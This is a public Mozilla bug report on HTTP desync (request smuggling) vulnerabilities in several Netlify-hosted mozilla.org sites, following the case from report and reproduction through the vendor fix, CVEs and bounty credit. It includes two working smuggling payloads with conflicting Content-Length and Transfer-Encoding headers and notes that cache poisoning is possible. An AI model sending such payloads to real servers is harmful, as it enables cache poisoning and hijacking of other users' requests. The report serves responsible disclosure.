Closed Bug 1599259 Opened 6 years ago Closed 6 years ago

Sites vulnerable to HTTP Desync attacks

Categories

(Websites :: Other, defect)

Product:
Websites
Component:
Other
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

(Not tracked)

Status:
VERIFIED FIXED

People

(Reporter: erlend, Unassigned)

References

(
URL
)

Details

(Keywords: reporter-external, sec-high, wsec-http-header-inject, Whiteboard: [reporter-external] [web-bounty-form])

Attachments

(1 file)

scanner for start.mozilla.org
1.30 KB, text/javascript
Details

The following sites appear to be vulnerable to HTTP Desync Attacks:

  • start.mozilla.org
  • tlscanary.mozilla.org
  • krakenbenchmark.mozilla.org

It is possible to push the proxy out of sync, by sending content-length and transfer-encoding: chunked at the same time. This cannot be reproduced directly with the scanning functionality of "HTTP Request smuggler" in Burp suite, but there are two ways to show this.
A) If using Burp suite, put the following payload in repeater with "HTTP Request Smuggler" and "Turbo intruder" installed, and then go directly to attack (Context-menu -> Smuggle attack):
"POST /en-us/js/ffx36.js HTTP/1.1
Host: start.mozilla.org
Connection: keep-alive
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: /
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.209668950.1574712472; _gid=GA1.2.802424326.1574712472; _gat_UA-36116321-1=1
Content-Length: 24
Transfer-encoding: chunked

0

GET / HTTP/1.1
X:"
You will see some requests returning a 301 rather than the expected 404.

  1. it can also be reproduced using node.js. I have attached a small script that will send requests that will normally fail with a 404 due to wrong HTTP verb for the JavaScript case or the wrong path in the benign case. However you will in the response, still see some requests returning 301 (try tweaking the number of requests in the for loop if it doesn't work):
    HTTP/1.1 301 Moved Permanently
    ...
    Redirecting to /en-US/

The two other sites can be abused in the same fashion.

Flags: sec-bounty?

Thanks for the report Erlend. We probably need to update LB or reverse proxies in front of those sites.

Are you about to access any confidential information? As far as I can tell all the sites listed are public and don't have authentication.

Flags: needinfo?(erlend)

On the sites in question, I current haven't found any confidential information. I have limited my testing, as the approach may influence other users of the sites. You may want to look into all your sites that are using Netlify.

planet.mozilla.org also seems vulnerable.

In addition it seems to be possible to move between sites, so we can get a planet.mozilla.org response from tlscanary.mozilla.org.

POST /js HTTP/1.1
Host: tlscanary.mozilla.org
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Connection: keep-alive
Content-Length: 49
Transfer-Encoding: chunked

0

GET http://planet.mozilla.org/ HTTP/1.1
X:

This last approach may also work for contributejson.org as it is on the same IP as planet.mozilla.org and tlscanary.mozilla.org, but I have not tested it as it's not under the mozilla.org domain name.

Flags: needinfo?(erlend)

Adding James Kettle (albinowax) to CC, as he has been pioneering the research on HTTP Desync

Looks like the front-end is using caching, so by hosting our own content on Netlify then using request smuggling to poison the cache, we can probably persistently replace any URL with arbitrary malicious content.

I should add that on December 4th, an update to my HTTP Request Smuggler scanning tool will mean it can detect this vulnerability, which will elevate the risk of other people finding this vulnerability.

Added mgoodwin who owns tlscanary.mozilla.org

Added cr, who has the most commits against TLS canary

Added Matt, who has the 2nd most commits against TLS canary (also removed CR)

Added ericz and gozer for kraken

Able to reproduce against start.mozilla.org running the node.js script twice in a row and with two concurrent executions gave a mixture of 404 and 301s. NB: the benign var doesn't appear to be used.

Status: UNCONFIRMED → NEW
Type: task → defect
Ever confirmed: true
Whiteboard: [reporter-external] [web-bounty-form] [verif?] → [reporter-external] [web-bounty-form]

Some of the server's behaviour suggests that the root cause might be Netlify using an outdated version of Apache Traffic Server, missing some security updates.

Reached out to security@netlify.com

:claudijd do you know who works with Netlify on the Mozilla side?

Yes, this is squarely a bug on Netlify's infra, I will be reaching out to them

I've asked James to submit direct to HackerOne. It will just avoid complications later of who to pay the bounty to. All I'd ask is that the hackerone ref (even if it's private) is back linked to this bug for historical and reference purposes.

And FWIW, I think both are fine. gozer, if you please use the reporters emails when submitting so they know it's a bountable thing and the reporters get the necessary attribution.

We can reach out to Netlify, or did you already send over the details, Greg?

(In reply to Erlend from comment #16)

We can reach out to Netlify, or did you already send over the details, Greg?

If you want to reach out that wouldn't hurt.

I contacted Netlify's security@ email address about giving someone from their team access to this bug, but it redirected to submitting via hackerone which I didn't do.

Also:

Ok, I submitted via HackerOne, and mentioned that you are also reaching out to them separately.

If you are discussing this with Netlify, the HackerOne case number is 746776

Erlend, any word from Netlify or Hackerone for your report?

Flags: needinfo?(erlend)

Greg: I last heard from them December 12th where they said: "The issue is being looked at by the internal team. We'll let you know of any updates."

I'll ping them and see if they have any updates.

Flags: needinfo?(erlend)

I just heard back for the Hackerone-report, and they are saying:
"The issue is fixed for mozilla, but the team is waiting for the release of the CVE to close this report!"

Looks like they fixed it. The scanner-script is at least not triggering the flaw anymore.

Yeah looks fixed to me too

This bug can probably be closed then. Or do you want to wait for the CVE?

Flags: needinfo?(gguthe)

(In reply to Erlend from comment #25)

This bug can probably be closed then. Or do you want to wait for the CVE?

I'll close it since it's fixed for Mozilla sites. We can keep it private until the CVE is public.

Status: NEW → RESOLVED
Closed: 6 years ago
Flags: needinfo?(gguthe)
Resolution: --- → FIXED

I'm getting all 404s for https://bugzilla.mozilla.org/show_bug.cgi?id=1599259#c10

Status: RESOLVED → VERIFIED

Ok. It this elligible for a bounty or is it outside the bounty scope?

Flags: needinfo?(gguthe)

Hi Erlend, it is eligible as affecting a *.mozilla.org subdomain. How would you like to be credited in the Hall of Fame (name, social media username, website URL)?

Flags: sec-bounty?
Flags: sec-bounty-hof+
Flags: sec-bounty+
Flags: needinfo?(gguthe)

Name: Erlend Oftedal
Social media username: webtonull

James should be credited as well (if he wants)

(In reply to Erlend from comment #30)

Great! We'll get Erlend Oftedal / https://twitter.com/webtonull in the next HoF update (every 3 or 6 months I believe).

Thanks again for the report and nice PoC.

James should be credited as well (if he wants)

Absolutely.

James, I figure we can reuse your earlier HoF info, but let us know if you want to use something different.

Yep that works for me. Regarding the bounty, that should all go to Erlend.

Removing employee no longer with company from CC list of private bugs.

Can we make this bug public now? Netlify has patched and closed it on there end, saying they're happy with CVE-2020-1944/CVE-2019-17559/CVE-2019-17565

Dropping the security flag to make the bug public. This was fixed awhile ago.

Group: websites-security
See Also: → 1554177
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: